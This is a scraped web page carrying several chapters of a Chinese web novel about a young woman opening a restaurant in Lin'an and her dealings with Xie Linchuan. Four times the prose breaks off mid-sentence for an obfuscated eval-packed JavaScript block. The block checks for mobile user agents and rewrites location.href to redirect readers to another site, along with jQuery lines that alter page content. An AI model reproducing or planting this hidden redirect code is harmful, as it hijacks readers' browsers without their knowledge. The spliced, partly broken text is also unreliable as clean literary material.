0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701990|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 署教我韬略？ 见祖母含笑着点头，他心中明白几分——这事儿，要低调。 当下，他露齿一笑，站起来行了个大礼：“谢过祖母、长公主。” 长公主又道：“明日，你只管去府署，寻一个叫刘长风的衙役。” “姓刘？”谢临川有些惊讶。 刘姓多是北汉旧部，故皆为贱籍。 前段时间，谢临川参加蹴鞠赛，便是冒充的齐云社一个叫刘兴良的人。 而这人，正是因为姓刘，脸上被刺了字，时常戴面具，才让谢临川有可乘之机。 照理说，贱籍之人是不能在临安府署当差的，这人却…… 长公主知他所想，神色几不可查地暗了一瞬： “若不是姓刘，凭他的能力，也不会甘为小小的衙役。” 屋子里有片刻的沉寂，显得窗外的猫叫声更明显。 那是谢老夫人养的雪团。它见了草丛中的虫子，要去逮，丫鬟们跟在其身后，亦步亦趋。 谢老夫人也不管那猫，哈哈一笑： “你看看，你们光顾着说话，菜也不吃了，这可都是夏荫亲手做的。” “这鬼丫头，若不是长公主来，我老婆子想吃，她都不肯做呢。你们不吃，她可要不高兴了。” 说罢，自己舀了一大勺雪霞羹，美滋滋地放进嘴里。 天可怜见，他们三个，一个是金尊玉贵的长公主，一个是威名赫赫的谢老夫人，一个人张扬跋扈的谢世子，夏荫，一个小小婢女，哪里敢生他们的气？ 白白顶了这锅，她也不敢反驳，就红着一张脸，似笑非笑着。 谢临川听了刘长风这事儿，心情有点儿好，风卷残云般，把山家三脆一扫而光。 谢老夫人与长公主闲话家常：“对了，福安——你那小侄女，嫁去苏州也有些日子了，如何了？” 福安公主的生母林妃，是长公主的手帕交。 林妃早逝，长公主对福安视同己出，还曾把小福安养在长公主府。 前几年，谢临川蹴鞠得胜，福安公主与宝庆公主为谁赠花的事打架，为官家厌弃。 长公主便让她出宫，与自己同住，也好修生养性。 前些日子，她出降了苏州李家。 李家虽不是朝堂重臣，却也是清流之首。 江南士子，多半出自其秋山书院。因此，福安公主这也不算低嫁。 长公主却不想说福安的事，随口敷衍了几句，看着桌上的珍馐，想起一事来： “我听说，临川认识一个中瓦的女娘，她卖的油卤串串，连宝庆也说好。” 那日宝庆被辣肿了嘴，急忙忙回宫，路上遇着了安国长公主。 她见宝庆这个娇娇女都馋成那样，就对这油卤串串来了兴趣。 谢老夫人道： “对、对，除了油卤串串，那女娘做的甜樱桃也甚好。把小樱桃们薄薄裹上一层糖衣，又甜又脆。” 她就对谢临川道：“你快唤人去买些回来。” 谢临川正高兴着，说起江娘子，心头又蹿起一阵无名之火。 他自嘲般地哂笑了一下，说话时有几分咬牙切齿的意味： “这位江娘子多半是个骗子，这会儿已经卷款逃亡了！” 26. 抹茶树莓丸 “骗子”江清澜正在她的新店里，视察装修进度。 嗯，不错，王蕙娘着实人脉广。 无论是漆墙的漆工、打灶的泥瓦工、绘画的画工，抑或是打桌椅板凳的木工，她全找得到人。 如今，前厅已初具规模： 墙刷了、桌椅板凳做好了、柜台砌好了。 就连旁边放酒缸的位置，都留了出来。 忽忽十几日，一个破败的包子铺，就成了古色古香的小饭馆儿。 后院的情况也不赖。 这几日，他们全体齐上阵，把厨房好好翻新了一下。 虎子领着团团把荒地开了，种了几棵小葱和蒜苗下去。 眼见着开业日快到了，江清澜开始考虑起主营的饮食来。 如今，多数平民只在早上、傍晚吃两顿饭。 中午那顿是不开火的，要么吃些早上的剩饭，要么吃些糕饼零食，是为“点心”。 早点呢，左不过是包子、馒头、粥、油条、饼这一类的。 但做包子、馒头，得起个大早不说，还得揉面、摔面。 这些，可都是纯粹的体力活儿。 是以，食堂的白案师傅，大多是身强体壮的中年男人。 江清澜一个身娇体弱的小娘子，干不了这活儿。 包子、馒头排除。 做油条和饼呢，倒是不费力，但得现炸、现摊，来一个人做一个。 这样一来，非常耗费人力。她也被限制在了摊子上，其他什么事儿都做不了。 剩下的，便只有粥了。 粥这种纯熬制的烹饪方法，是不费人力的。 只需把食材往锅里一丢，灶里留几个柴块，维持着小火。时候一到，粥就好了。 上辈子，她在宿舍里整了个电饭锅。 趁着宿管阿姨不备，她经常做些皮蛋瘦肉粥、桂圆红枣糯米粥之类的。 冬天的晚上，一边看论文，一边吃粥，吃得热乎乎的，从身到心都美滋滋。 如今是夏天，人容易食欲不振，早上宜食用些清淡可口的小粥。 她想了想，最后定下猪肉胡萝卜粥、鱼糜青菜粥两种。 前者贱，卖四文钱一碗，后者贵，十文钱一碗。 但即便是鱼糜粥，卖到了十文钱，也是不赚钱的。 她赚钱的东西，是晚上卖的卤肉。 卤肉，成本高，但利润大。 操作也简单。只要下午将卤汁调好，放猪肉、牛肉等物进去卤便是了。 还有一点，卤煮一下午，香气四溢，都不需要她吆喝，自然就成了活招牌。 等食客来买，至多不过切一下，不费什么事儿。 如今夏日，谁也不愿在灶边站着。 蔬菜也不做炒的，做些凉拌叶子菜就行。下锅汆水，舀些调好的秘制调料，拌一拌就行。 何况，卤肉里也可以加根茎类的菜，如藕、海带结、豆干、竹笋，都可以卤。 此外，饮品就做冰汤圆、雪梨饮、乌梅汁之类的。既酸甜可口，又消夏解暑，配卤肉、凉拌蔬菜是极好的。 打定主意，她拿起毛笔，在一个大的竹牌上写下“夏日菜单”四个字。 又取了些小的竹牌，分别写上：鱼糜粥、卤猪头肉、卤藕片、凉拌时蔬、绿豆冰汤圆，等等。 —— 谢临川去临安府署点了卯，却未如往日一般四下闲逛，或是睡觉，而是去了衙役所。 进了院子，四处静谧无人，唯有坝子正中，一赤膊汉子将根白蜡杆子舞得虎虎生风。 但见他呼喝之间，闪转腾挪、移形换影。 白蜡杆子竟如泼天的白练，水泼不进、针插不去。 谢临川心头一震。 他幼年时，抑武国策还不如现在这般明显，故而，他也学过一段时间功夫。 这些年，他苦练蹴鞠，也背着东平王，偷偷学过武艺。但他那些师傅，都不像这位这般厉害。 安国长公主只说，此人是她的“旧识”。但谢临川看了便知，此人一定曾是叱咤战场的将军。 一招收势，那人收起杆子，微微偏头。 阳光之下，他颧骨上刺的“贼后”两个字，清晰可见。 他往这边瞟了一眼，声音雄浑沉稳：“你姓谢？” 谢临川立刻上前。 …… 几墙之隔，杨松也没闲着。快到未时末了，他才收起了毛笔。 整理牙帖、填写单子，他忙活了好一阵子，这会儿终于闲了下来，方觉肚子有些饿了。 他伸个懒腰，想起来什么，从柜子里取出一个竹编食盒。 这食盒约有两个手掌大，里面排着鸽子蛋大小的丸子。 小丸子们通身绿色，沾满了抹茶粉，挤挤挨挨地排在一起，可爱极了。 杨松是个很容易满足的人，看见茶莓丸，笑起来，一口一个。 入口是细腻的粉质，有些微苦，却又带着青涩的茶气。 待到牙齿咬破软嘟嘟的丸子，内里莓果酱夹心涌出。只觉甜中带酸，宛如花蕊蜜露一般。 正吃得不亦乐乎，身后忽的冒出个声音来。“杨郎君，在吃什么呢？” 杨松扭头一看，是言郎君！ 他不似往日那副惫懒模样，看着满头大汗，但又精神焕发。 这些日子，言郎君有点儿怪。 要说迟到早退，那也是没有的，不来的话，定会使人来说。 就是吧，他老神出鬼没的。 早上来点个卯，人就不知跑哪里去了。有时气喘吁吁地回来，不一会儿又失踪了。 是以，这两日，杨松都没找着机会与他说话。 当下，听谢临川询问，他忙从椅子上跳下来。 躬身行了个礼，他认真地道： “言郎君，这个叫茶莓。” 说着，双手举起盒子，好让谢临川不必弯腰，就能看个清楚。 谢临川一屁.股坐在杨松的椅子上，看那丸子可爱，就拈起一颗。 他用拇指和食指捏了捏，只觉软软的。茶香扑鼻，还有些茶粉簌簌地掉。 他跟刘长风过了半天的招，着实也有些饿了，就要将茶莓往口中送。 杨松仔细道：“这是江娘子的赠礼，她给言……” 裂金碎玉的声音，把他的话打断。 “江娘子？哪个江娘子？” 谢临川脑中的弦忽的绷紧了。手上一用力，那茶莓被捏扁了，浸了些红色的汁水出来。 可怜的杨松，哪里知道谢临川的心绪，犹在那里乐呵呵地解释： “便是言郎君你办牙帖的江娘子呀！如今，她在斜街北路新开了店，送了这茶莓手信来，很是可口。” 说罢，像是怕谢临川不信似的，忙拈起一颗，丢进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708054|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴里。 谢临川本是疲懒地瘫在椅子上的，闻言腾一下站起，脸色阴沉。 他手上那颗茶莓骨碌碌滚到了地上，裹了厚厚一层灰，已从绿色变成了土色。 杨松感觉他心情好，才放松些。结果，见他这一番动作，吓得够呛，忙胡乱地咽了咽吐沫。 哪知道，这一咽，那颗茶莓登时卡在了喉咙中！ 上不上、下不下的，咽也咽不下，咳又咳不出。 杨松支吾了两声，见谢临川只盯着地上的东西出神，知道是不敢指望这位贵人了。 他急得团团转，又是倒茶喝，也是猛声咳。脸都憋红了，偏拿那茶莓没法子。 谢临川的心思真没在他身上，倏的冷笑，一股无名之火从心里蹿起。 狡猾的女娘！ 利用爷做广告，把柠檬饮子的配方卖给蹴鞠队。 嘴上说，收了爷五十两银子，随时可去中瓦买，等了半个月都不见人。拿爷当猴耍吗？！ 如今，竟还敢开饭馆，请杨松却不请爷！ 怎么，是怕被爷拆穿市侩巧诈的本性吗？！ 他活了将近二十年，从来是他耍别人，哪里被人这样耍过？当下正是郁愤填膺、怒火中烧。 姓杨的说，她的店开在哪里？ 逮到这人，他要狠狠赏她两个耳光！ 此时，他看杨松在眼前晃来晃去、上蹿下跳，忒烦人。当下，他飞起一脚，想让人滚远些。 哪知道，这一脚恰好踢到了那人的肚子上。 只听“哇”的一声，杨松吐出卡在喉咙里的茶莓来。 杨松急死逃生，才松了口气。 忽的，他见谢临川紧盯江娘子写给自己的那份请帖，眼里蓄满风雷，正要喷薄。 杨松脖子猛缩，后背淌下阵阵冷汗。 言郎君这个人，有些争强好胜。 当初，江娘子想让自己给她办牙帖，言郎君非要争着办。如今…… 事不宜迟！ 顾不得自己的喉咙，杨松一溜烟儿跑去壁橱边，小心翼翼捧出个小包袱来，眉开眼笑道： “言郎君，前日没寻着你，这是江娘子托我转交给你的。” 素色细布上，疏疏画了几朵淡紫色的木槿，里面包着个精巧的竹编方盒。 拆开一看，是排列整齐的十二颗茶莓。 赭红色请帖上，小楷十分娟秀：言郎君亲启。 谢临川一愣，霎时间脑中闪过无数个念头。 也不知怎的，那股怒气竟然消了大半。 杨松在旁边嘀咕：“欸，怎么言郎君的茶莓，看上去要比我的大一些？” “是吗？” 谢临川眼波一荡，脑袋也在两盒茶莓间转来转去，好像真的在比较丸子的大小。 ——他虽竭力压住唇角，语气里，还是带了些得意。 杨松何等乖觉，立刻大声道：“是呀！” 谢临川心头登时畅意，什么愤懑、怒气，全都抛到爪哇国去了。 拆开请帖看了，他心道： 八字桥下，杏花饭馆？我说怎么不去中瓦了，原来，是赚到钱，租店去了。 明朗的天光透过菱花格子木窗，扑进屋里来，在谢临川的眉梢间跳动着，宛若碎金。 他勾了勾唇角，却又立刻把脸绷起来，冷哼一声： “请我，我就要去吗，没空！” 27. 酒酿绿豆冰汤圆（一） “噼啪——噼啪——” 一串鞭炮炸响之后，是雾腾腾的白烟。杏花饭馆被绕得云蒸霞蔚一般。 江清澜站在门边，用手捂住团团的耳朵，看着虎子又去点树上的另一串鞭炮。 杏花饭馆的左边，是一家卖酒的小作坊，右边是布店。 两家的掌柜、伙计听见鞭炮声，都出来看。 卖布的唤作孙娘子，是个矮矮胖胖的妇人，一脸的和气：“哟，这是开业啦？” 江清澜早有准备，笑着把一碗酒酿绿豆冰汤圆塞在她手里。 又对周围人道： “各位街坊邻居，妾姓江，初到此地，还请多多关照。” “小店今天开业，天热，绿豆冰汤圆冰凉解暑，免费赠送，请随意享用。” 王蕙娘、团团和放完鞭炮的虎子，端着一碗碗冰汤圆，给大家分发。 孙娘子体胖，怕热，日常是团扇不离手的。 这下子，她捧着那碗冰汤圆，只觉泡在冰窟窿里一般，浑身都是凉气。 她定睛再看：青花白瓷的小碗里，浮着一团团的绿与白，冒着丝丝冷气。 如此颜色，光是看看，人的暑气先消了一半。 原来，那白的小团子便是糯米丸子。因在成絮的酒酿水里煮过，有一股淡淡的酒香。 绿的，却是熬煮得极软、极碎的绿豆，和碾碎了的冰沙混在一起。 加了冰沙，难怪如此消暑。 孙娘子的儿子才七八岁，是个小胖子。舀起满满一勺吞下，两眼放光： “哎呀，原来绿豆可以这么好吃？！” 孙娘子听罢，老脸就是一红。 原来，绿豆有清凉下火之效，孙娘子便经常熬煮绿豆粥。 但大米粥本就味淡，加上绿豆，更是寡淡，小儿子说什么也不吃。 如今，他在杏花饭馆吃到这个，只觉酒酿又凉又甜，糯米丸子软软糯糯。甚至绿豆那股难闻的气味，也变得香甜起来。 对小孩子来说，口舌之欲大过天。小胖子也不管孙娘子什么反应，一双小眼睛又紧盯着竹簸箕里的卤肉。 那里有卤鸡腿、卤猪耳、卤猪蹄、卤肘子各种，均是焦黄的颜色，散发着卤料与肉的香气。 尤其可爱的是卤鸡蛋。 它们都是被剥了壳的，一个个光溜溜的。身上却被划了三刀，好让浓香的卤水能够渗透进入，更加入味儿。 另外一个簸箕里是素菜——卤海带、卤木耳、卤香菇，等等。有没被打捞完的川椒粒、茱萸片，藏在卤藕片的小孔、木耳的窝窝里。 光一看这些，都觉得麻辣鲜香，令人满口生津。 其他人也如孙娘子母子，有吹捧冰汤圆消夏解暑的，也有对卤肉卤菜感兴趣的，向王蕙娘等人打听价钱。 正是啧啧称奇、吵闹混乱之际，一年轻郎君从外面进来： “江娘子，原来你上此处开饭馆来啦，叫我好找！” 这人约莫十七八岁，下巴有些青茬茬的胡子。 他那张年轻的脸上，写满了再遇故人的兴奋。 但江清澜这人有点儿脸盲，在脑中搜寻一阵，着实没有印象。 那人道： “哎呀，你不记得我啦！” “我姓高，在西山蹴鞠场，我领着人来买你的柠檬水。后来，咱们郭朝奉还买了你的神仙水方子。” “再后来，我去找你，你都收摊啦。我问那个卖瓜子的老人家，他说你在中瓦。可我去了好几次，也没瞧着你啊。” 他这么一说，江清澜是想起来了。 这高郎君是齐云社的，是第一批来买柠檬汁人。后来，还领了几个蓝衣球员来买。 也不知，郭朝奉后来买她的方子，有没有高郎君的功劳。 江清澜抱歉地一笑： “哟，对不住。妾忙着装修这儿，就没去中瓦了。是妾的不是。高郎君快进来坐，吃碗冰汤圆，消消暑。” 说着，便引人进去。 经过一小丫鬟身边时，江清澜忽觉有些不对劲儿，就多看了两眼。 小丫鬟是隔壁酒馆的杂役，名唤彩珠。 她倒伶俐，把眼睛从高郎君身上收回来，笑眯眯地道： “江娘子，这冰汤圆真好吃，我能再要一碗吗？” —— 太阳下了山，夜风里带了些凉意。 杨松捧着硕大一盆芍药，吭哧吭哧地下了八字桥。 走了那么远的路，到杏花饭馆门口时，饶是凉风送爽，他也累得满头大汗。 饭馆里客人穿梭不停，有买卤肉的，有买粥的，也有只来拿冰汤圆的。 到处闹哄哄的，没人管站在门口的傻大个儿。 杨松叉着手，歇足了气。正要扯着嗓子喊“江娘子”，忽的，从芍药绿叶、红花的间隙，他瞥见一个熟悉的身影。 登时，他瞪圆了小眼睛。 “啊，言郎君。”他马上把叉着的手放了下来，行了个标准的大礼。 见来人久没出声，便自己抬了头，有点儿好奇地问： “您不是说没空吗，怎么来了？” 谢临川着一身天青色襕袍，举着一把洒金折扇，端的是玉树临风、风流倜傥。 街上行人，无论男女老少，无人不往这边张望。 只是，他在杏花饭馆门口溜溜达达的，时而又将身子隐到树影的黑暗中去，很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713412|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些鬼鬼祟祟的意味。 听见杨松的问题，他只白了一眼，并不回答，似乎对那丛姹紫嫣红的芍药更感兴趣。 盯了一会儿，他微皱着眉问：“这是你……送的贺礼？” “是啊。”杨松脱口而出。 然而，不过一会儿，眼见得谢临川除了一把扇子外，两手空空，眉头却越皱越紧，他忽然觉得有些不对劲儿。 杨松这人看着傻，却是大智若愚，不然，临安府尹也不会派他来应付谢临川。 猛的一下，他豁然开朗，道： “不不不，这是我帮言郎君送的贺礼！” 谢临川轻笑一声，唇角两个酒窝深深。 他不再去想芍药花的事儿。 往前走了两步，他让半边身子隐藏在树影之下，仰头看靛青色天幕中的酒旗。 “杏花饭馆”四个大字，工整却不呆板，柔婉却不失筋骨。 他自小对琴棋书画不感兴趣，却有一项本领——绘画、书法，只消看一眼，便能记住这人的走笔痕迹，识别是谁的作品。 这字，他倒从未见过。 难道，是她自己写的？ 杨松也跟着仰头看。 “杏花？”他四处瞅着，皆是槐树、垂柳深浓的绿意，“没有杏花树啊？” 谢临川道：“小楼一夜听春雨，深巷明朝卖杏花。陆放翁的诗。” 杨松惊讶得张大了嘴巴。“言郎君，你还会吟诗呀？” 他见过他写的字，铁钩银划的，像在舞刀弄剑。 他如何也无法将言郎君这人，跟风雅的诗联系在一起——并且，还是自己没听过的诗。 谢临川又白他一眼： “怎么？我不能吟吗？我就是懒得看。你们这些诗，小儿科，酸唧唧的。” 杨松不敢说话了。 其实，这事儿不怪杨松。这个时空的陆放翁，不像历史上的爱国诗人陆游一样有名。 他只是个混迹市井的读书人，倒有些像柳永。 谢临川之所以知道这首诗，是他年少时乱看闲书看到的。 他记性极好，几乎过目不忘，一下就想起来了。 而杨松这种人呢，为了考科举，从小苦读应试之作，就没看过这些闲书。 但此时，谢临川没空理会那些。 他心里想的是，江娘子如何知道这句诗的？ 她一个市井妇人、商户之女，竟会认字？ 这倒也罢了。便是富贵人家的女儿，读书也就是读些《女则》，断读不到这种闲书去。 这个江娘子，很有趣啊…… 二人都在沉思，一道春溪漱石般的声音响起：“杨郎君——” 28. 酒酿绿豆冰汤圆（二） 江清澜快步走上前来。 难得地，她今天穿了条鲜艳的、樱草色的长裙。 鬓边簪一朵紫月季。 樱唇上，淡淡的玫瑰色唇脂洇染开来。 如此打扮，明媚又娇艳，恰如雨润芙蓉、烟笼海棠。 她见杨松满头大汗，身侧芍药怒放，已明白了，口中道： “杨郎君这么客气，人来就是给妾面子了，怎的还带东西？” 她说得客气，身侧的虎子却实诚得很，已着手把芍药往屋里搬了。 杨松正要摆手，说这花不是他送的，却见江清澜已将目光投向了树荫下。 那里，正站着衣天青色襕袍、执洒金扇子的谢临川。 杨松忽然觉得，自己这时开口，好像有点儿自讨没趣儿。 他这人何等乖觉，便把嘴巴闭上，一溜烟儿跟着虎子搬芍药花去了。 江清澜看见谢临川时，明显愣了一下。 什么叫“朗朗如日月入怀，灼灼如岩下灿电”[1]，这下她算是知道了。 她立刻把眼睛一垂，为自己耳朵发热找起了借口——许是天气太热了吧。 垂着眸子，她行了个叉手礼：“言郎君。” 谢临川目光在她的唇上略停了一下，心道：这唇脂倒是配她。 他莞尔一笑，洒金扇子扇得发丝飞扬： “原来，江娘子是来此处开店了。我说，怎的在中瓦找不着了呢。” 江清澜不是沉迷美色的人，刚才不过是一时不察。 这时，她稳定心神，大方地道： “是妾的不是，忙着装修新店，忘了通知言郎君您。” 说着，把人往屋里引： “言郎君请里面坐。咱们开了店，吃食更多了，郎君的五十两银子更有花处了。” 歘一声，谢临川把扇子收了，施施然跟着往屋里走。 他面上装得气定神闲，越走，心里却越慌。 目光越过柜台旁那浓艳的芍药花，看见杨松正与一个四五岁的小女孩说话。 也不知他说了什么，把小女孩逗得捧腹大笑，他自己也眉飞色舞、忍俊不禁。 谢临川登时心头火起，把人捏死的心都有。 这家伙！芍药花是谁送的，他给江娘子说了没有！ 谢临川以前与朱明他们去吃酒，脚踏进哪个馆子一下，就算是天大的赏光了。 从来是掌柜的给他们送贺礼的，没颠倒来过。 这下子，让杨松这硕大的芍药花一比，两手空空的他，就不像样子了。 江娘子送他的茶莓，可还比送杨松的大呀！不行，面子万不能丢！ 他伸手，在腰间的囊袋里乱摸一气，竟真的摸到个圆圆的东西。 “江娘子——”他忽的出声，唤住了她。 在桌上放下一颗金色的小圆球，他脸上写满了神采飞扬： “这是我的贺礼。” 那球有半节拇指大小，做得极圆，表面的花纹极为繁复。 在灯火的照耀下，小球金光闪烁，展露着逼人的贵气。 江清澜眼睛瞪大了。 她送了茶莓丸，杨郎君回一盆芍药，是人之常情。 这言郎君，送一颗金球是什么意思？难道，富二代都是这种豪气又土鳖的作风，除了钱就没别的送了？ 她把球往他那边轻轻一推：“言郎君，这……可太贵重了。上次那五十两，你还没用完呢。” 谢临川却用扇柄一戳，小金球骨碌碌又往她这边滚。 再往前，就要滚下桌子了，江清澜只好摊手接住了。看着手心闪闪的金光，她有些出神。 “那就当下一年的饮食资费。”谢临川眸光闪动，神气十足地一笑，似乎有点儿为自己的机智得意。 “左右你在这儿开店，也不会跑了。” 江清澜有点儿搞不懂了，“也不会跑了”是什么意思？难道，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721242|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为她跑了？ 她又隐隐觉得，这个言郎君，虽然长得帅，又是个财神爷，但跟她、跟她这个小店儿，都有些不匹配。 圈子不同，不好硬融。给他下请帖，许是不应该。 但她一个做生意的，此时客人在店中，她总不能把他赶出去吧？ 以后，多注意些就是了。 按下纷繁的思绪，她微微一笑：“言郎君，试试我们新出的冰汤圆吧。” —— 杏花饭馆里热热闹闹，旁边的酒坊生意也不错。 周掌柜把两坛松花酿装在马车上，吩咐彩珠道：“快快送去王员外家，务必赶在酒宴开始前。” 彩珠得令，一骨碌翻上马车，对着马.臀就是一鞭。 周掌柜看着马车远去，点点头，对这个新来的小丫鬟很是满意。 他本来是为赶车才招人的。原想招个小子，哪知道，这个丫鬟自告奋勇，说她的腿脚比小子都快，价钱还便宜。 周掌柜冷眼看了彩珠，着实如此，才放下心来。 彩珠赶着马车过了八字桥，沿着御街一路往南，到了王员外家却没有停下。 快到新开门了，才调转马头，拐进一条巷子里。 砚书提着灯笼，早在陆府后门等着了。 彩珠下了车来，手上捧着一个带盖的瓷碗，对柳树旁的黑影行礼：“郎君。” 陆斐的身子笼罩在夜色的浓黑中，看不清面上表情。 彩珠道：“今儿个傍晚，杏花饭馆开业了。江娘子给街坊邻居们赠送了这个，唤作冰汤圆。” 陆斐接过瓷碗，任寒气从手上往四处流转，心道：这些稀奇古怪的东西，她是什么时候学会做的？ 彩珠又道：“有三个郎君，似是江娘子的故人。有两个，还带了贺礼来。” “郎君？”陆斐嗫嚅道。 他并没有出声再问，但那只修长的、骨节分明的手，却把碗攥得更紧了。 29. 黄骨鱼糜粥 昨日开业，冰汤圆估计送出去了三四十碗。 卤肉呢，差不多卖完了，共得了二十来两的流水，一半的利润。 卤肉与冰汤圆都是下午现做，粥却只能早上做。 按照之前的打算，早上要卖的是猪肉胡萝卜粥、鱼糜青菜粥。 前者好说，肉切丝、略腌一下，胡萝卜切粒，一起扔大米粥里熬就行。 鱼糜青菜粥略麻烦一些，因为江清澜选的，不是普通鱼片，而是黄骨鱼。 上辈子，在她的外婆家成都，黄骨鱼叫做黄辣丁，是专门用来做辣味干烧，或者烫红汤火锅的。 但江清澜发现，这种鱼肉质细腻、味道鲜美，而且刺少，用来做鱼糜粥，再好不过。 只有，它也有缺点——比较小。做鱼糜粥的话，要自己把肉拆下来。 幸而，前几日她就在鱼市订了活鱼，鱼贩子服务周到，条条杀了洗净送货上门。 窗户外才泛起蟹壳青，启明星还在闪烁，时候尚早。热锅里，猪板油已炼化，小火慢煸的葱姜蒜头散发出香味儿。 接着，“刺啦”一声，一筲箕的黄骨鱼滑入锅中。 油星迸溅，鱼朝下的那面很快变成了焦黄色，煸炸之后的鱼香味儿迅速在屋里弥漫。 此时，团团正骑在厨房的门槛上，翻着花绳。 因为起得太早，她脑袋还有点儿钝钝的，三两下把线绳缠在手指上，打了个死结。 这时候，闻着鱼香味儿，她猛的清醒了，踮着脚、伸长脖子看锅里的炸物。 江清澜铲出一块鱼尾巴，沾了一丢丢盐后，递给她： “先吃点儿，香个嘴儿。等鱼糜粥做好了，咱们才正经吃早饭。” 黄骨鱼身形较小，所以鱼尾巴很薄、刺也软。经过热油炸制，整块儿儿变得香香脆脆的。 另外，鱼尾与鱼身交接的地方，有一些肉——这些肉，是最鲜美、最细腻的。裹上热油的香、沾了盐粒的咸，入口即化，却回味无穷。 团团嘎嘣嘎嘣，几下嚼烂了鱼尾巴，意犹未尽。但江清澜有言在先，她也不好胡搅蛮缠，便无惧热意，待在厨房里看阿姐做粥。 方才炸鱼的油锅里，此时已装满了雪白的鱼汤。三根头白、身绿的小葱被挽作葱结，在白汤里咕噜咕噜翻滚着。 所谓“原汤化原汁”，正在熬煮的黄骨鱼拆下肉来，是鱼糜粥里的鱼。 白汤也不能浪费，放在粥里，更添一道鲜味。 土灶中间的那一眼灶孔，坐着鼎罐。其中的大米粥已煮得黏黏的了，因为提前加了香菇片、干贝等食材，米粥的清香中有浓郁的海鲜风味。 鱼汤与鱼肉一加，再浇些热热的明油，粥底便变作了微黄色。 尝一口，哎呀，眉毛都要鲜掉了！ 青菜丝是最后加的，是为着避免热度把青菜烫黄，失了鲜嫩翠爽。 见团团已经可怜巴巴地望了好久了，江清澜也不等了。她把缺了青菜的鱼糜粥舀了两碗，带妹妹去屋里吃早饭了。 早上喝粥，爽口又养胃。黄骨鱼鱼糜融在米粥中，几乎看不见了，但只要一尝，就知别有洞天——入口鲜香，糜软嫩滑。 美中不足的，只有一点，便是吃多了有些单调。 这便是蔬菜的功效了。 等快出锅时，放一把青菜丝下去，再吃，便有了蔬菜微苦回甜的味道，还有菜茎略硬的口感。这与软烂的鱼糜粥相得益彰、互相成就。 两姐妹吃完早饭，团团翻一会儿花绳，又打起了瞌睡。左右吃饱了，她索性趴在桌子上睡着了。 此时，王蕙娘去东市买下午要用的肉去了，虎子也去了青萍书院，屋里再无别人。 江清澜解开围裙，拆下襻膊，也准备打个盹儿。忽然，只听“啪”的一声，是腰侧的绣囊掉在了地下，几个散碎银子落在地上。 江清澜弯腰去捡，捡到最后，桌子脚边，金光闪闪，赫然是一枚小金球——昨日言郎君送的。 江清澜的瞌睡去了大半，把金球捡起来，凝神不语。 昨日，言郎君坚决要送这个作开业贺礼。 他说，大不了作以后吃饭的预付。但这个小金球，怎么说也值一百两银子。她这小本经营，记账，得记到什么时候去？ 她从穿来那一天起，就想好了，只与小人物打交道，少去大人物身边凑。 这个言郎君，虽然只是临安府署的小吏，但出手就是百两，一定不是什么小人物。 此时，天光已从靛蓝转为了亮白，天大亮了。河风吹拂柳树，也送来岸边卖荷花老翁的吆喝。 “卖花嘞——新鲜的荷花——荷叶——莲蓬——” 江清澜招呼人停下，买了一大捧荷花。她将它们插在柜台的梅瓶上，香远益清、亭亭净植。 她拍了拍荷包里的金球，也想通了。 何必庸人自扰、杞人忧天？既然开门做生意，就什么人都可能遇见，见招拆招就是了。 再说了，目前看来，言郎君又不是什么坏人，他出钱买我的饮食，预存一些，又有何不可？ —— “啊切——”，临安府署湢室里，谢临川打了个喷嚏。 他有点儿莫名其妙，没觉着冷啊？ 因他自来怕热，冬日里也洗冷水澡。如今盛夏，他从刘长风那里出来，洗了澡再去财赋司，竟然打了个喷嚏。 到了下午，他自以为知道了打喷嚏的缘由。那时，他腰抵靠在圈椅上，一双长腿搭在桌上，看《太白阴经》看得津津有味。 “流光哥哥！”一道黄莺娇啼般的声音响起。 谢临川听得浑身一抖。谁啊这是，真他.娘的肉麻！ 他偏头去看，一道绯衣身影翩然而至，像是美丽轻盈的蝴蝶。 看清来人，他皱了皱眉，把书往身后一藏，跳下椅子：“以后不准那么叫我！” 宝庆公主手绞着丝帕，噘着嘴说：“上次在中瓦，是你先叫我阿妹的，现下，我叫你流光哥哥，又有何不可？” 老天，竟然很有道理！ 谢临川忍住浑身的鸡皮疙瘩，在额头上重重一拍，有些无奈地道：“你不在宫里待着，跑这里来干嘛？” 宝庆公主笑嘻嘻道：“我到姑母家暂住，离这儿很近，王妃便说，可以来看看你。” 